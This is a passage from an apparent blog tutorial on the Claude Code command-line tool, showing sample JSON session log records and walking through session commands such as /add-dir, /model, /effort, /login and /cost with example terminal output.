&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The directly following &lt;code&gt;system&lt;/code&gt; message contains the same context, invocation, and version information, but a structurally different message with &lt;code&gt;message.type&lt;/code&gt;, &lt;code&gt;message.role&lt;/code&gt;, &lt;code&gt;message.model&lt;/code&gt;, and usage statistics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cfab7717-ca08-45bf-9e0f-2241668efe23"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msg_2026040417373648e22180f7914ce1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"I'll parse the README.md file for you.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_sequence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"usage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"output_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9b4b857e-3a25-4b03-b20b-da76f5677c77"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:09.698Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hashed-enchanting-ritchie"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally, the directly following tool invocation. It reveals the fields &lt;code&gt;message.content.type&lt;/code&gt;, &lt;code&gt;message.content.name&lt;/code&gt;, &lt;code&gt;message.content.input.file_path&lt;/code&gt;. And at &lt;code&gt;message.usage&lt;/code&gt;, statistics about the LLM invocation, which parsed the file content and formulated an answer, can be found.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9b4b857e-3a25-4b03-b20b-da76f5677c77"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msg_2026040417373648e22180f7914ce1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_use"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"call_enqown30a3q"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"file_path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/README.md"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_reason"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tool_use"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"stop_sequence"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"usage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34459&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_creation_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_read_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;838&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"output_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"server_tool_use"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"web_search_requests"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"web_fetch_requests"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"service_tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"standard"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"cache_creation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ephemeral_1h_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"ephemeral_5m_input_tokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inference_geo"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"iterations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"speed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"standard"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"assistant"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2da6dc71-8c0c-486a-9593-b04e0674a795"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-04T09:38:09.698Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"67614647-7351-408e-88b8-2846dc62b860"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"main"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hashed-enchanting-ritchie"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These interaction types are at the heart of Claude’s agentic loop. Each prompt you provide gets analyzed, injected into pre-defined system prompts, sent to an LLM, which then provides assistant, tool-run, and tool-execution commands.&lt;/p&gt;

&lt;p&gt;With this understanding, let's continue with investigating the session commands.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/add-dir&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Once the Claude session starts, it is bound to the current working directory. This command adds additional directories, and Claude will access and utilize tools in the other directory too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;──────────────────────
❯ /add-dir /opt/spa
──────────────────────
  spac/     directory

...
Add directory to workspace

    /opt/spac

    Claude Code will be able to &lt;span class="nb"&gt;read &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;this directory and make edits when
    auto-accept edits is on.

  ❯ 1. Yes, &lt;span class="k"&gt;for &lt;/span&gt;this session
    2. Yes, and remember this directory
    3. No
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/rename&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Sessions are created with a generic name. This command provides a memorable name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /rename universal-skill-converter-refinement
  ⎿  Session renamed to: universal-skill-converter-refinement

─────────────────────────────── universal-skill-converter-refinement ──
❯
─────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/model&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Model capacities drive the quality of work results. Anthropic distinguishes three different model levels that scale with code complexity: Opus, Sonnet, and Haiku.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/model&lt;/code&gt; command allows manual selection, which you should use on a per-task level. Here is the dialog.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/model
────────────────────────
 Select model
  Switch between Claude models. Applies to this session and future Claude Code
   sessions. For other/previous model names, specify with &lt;span class="nt"&gt;--model&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  ❯ 1. Default &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;  Use the default model &lt;span class="o"&gt;(&lt;/span&gt;currentlyclaude-sonnet-4.6&lt;span class="o"&gt;)&lt;/span&gt; ·
                              &lt;span class="nv"&gt;$3&lt;/span&gt;/&lt;span class="nv"&gt;$15&lt;/span&gt; per Mtok
    2. Sonnet &lt;span class="o"&gt;(&lt;/span&gt;1M context&lt;span class="o"&gt;)&lt;/span&gt;    Sonnet 4.6 &lt;span class="k"&gt;for &lt;/span&gt;long sessions · &lt;span class="nv"&gt;$3&lt;/span&gt;/&lt;span class="nv"&gt;$15&lt;/span&gt; per Mtok
    3. Opus &lt;span class="o"&gt;(&lt;/span&gt;1M context&lt;span class="o"&gt;)&lt;/span&gt;      Opus 4.6 with 1M context · Most capable &lt;span class="k"&gt;for
                              &lt;/span&gt;complex work
    4. Haiku ✔                Haiku 4.5 · Fastest &lt;span class="k"&gt;for &lt;/span&gt;quick answers · &lt;span class="nv"&gt;$1&lt;/span&gt;/&lt;span class="nv"&gt;$5&lt;/span&gt; per
                              Mtok
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/effort&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When LLM models with thinking capabilities are invoked, they will work on a prompt self-reflectively, analyzing and checking their own output before formulating a response to the user. This amount of "thinking" can be controlled by the effort parameter with four values: &lt;code&gt;max&lt;/code&gt;, &lt;code&gt;high&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;low&lt;/code&gt;. The default value in Claude is &lt;code&gt;medium&lt;/code&gt;, recommended for balancing speed, cost, and task quality, which can be observed by fewer absolute tool calls than on other effort levels.&lt;/p&gt;

&lt;p&gt;Here is an example of changing the parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────
❯ /effort  &lt;span class="o"&gt;[&lt;/span&gt;low|medium|high|max|auto]
─────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/login&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To use an Anthropic account as an LLM provider, either direct API invocation,&lt;br&gt;
called console account, or a subscription plan with rolling 5-hour/weekly/monthly token budgets, can be used.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;login&lt;/code&gt; command authenticates the current session with one of these options. Select one of the options, then an authorization request to Anthropic is shown. Open the link in your browser, then paste the auth code. Once completed, credentials are persisted in &lt;code&gt;~/.claude/settings.json&lt;/code&gt;, and do not need to be entered when starting the next session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /login
 Select login method:

 ❯ 1. Claude account with subscription · Pro, Max, Team, or Enterprise

   2. Anthropic Console account · API usage billing

   3. 3rd-party platform · Amazon Bedrock, Microsoft Foundry, or Vertex AI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/logout&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When using an Anthropic subscription, session credentials are persisted in the &lt;code&gt;~/.claude/settings.json&lt;/code&gt; file. This command revokes the credentials at the Anthropic CLI, removes the credentials from the file, and terminates the session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /logout
Successfully logged out from your Anthropic account.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Session Reflection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/cost&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During a long session, lots of tokens will be exchanged between your computer and an LLM provider. This command calculates the total amount of costs, but that’s opinionated toward using an API subscription model with Anthropic. For all other providers, you can add token costs in the manual model definition, and then get an estimate of the incurred costs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/cost
  ⎿  Total cost:            &lt;span class="nv"&gt;$0&lt;/span&gt;.79
     Total duration &lt;span class="o"&gt;(&lt;/span&gt;API&lt;span class="o"&gt;)&lt;/span&gt;:  1m 48s
     Total duration &lt;span class="o"&gt;(&lt;/span&gt;wall&lt;span class="o"&gt;)&lt;/span&gt;: 6m 29s
     Total code changes:    151 lines added, 0 lines removed
     Usage by model:
             claude-haiku-4.5:  51.6k input, 3.1k output, 904.8k cache &lt;span class="nb"&gt;read&lt;/span&gt;, 0 cache
      write &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;.79&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;code&gt;/usage&lt;/code&gt;
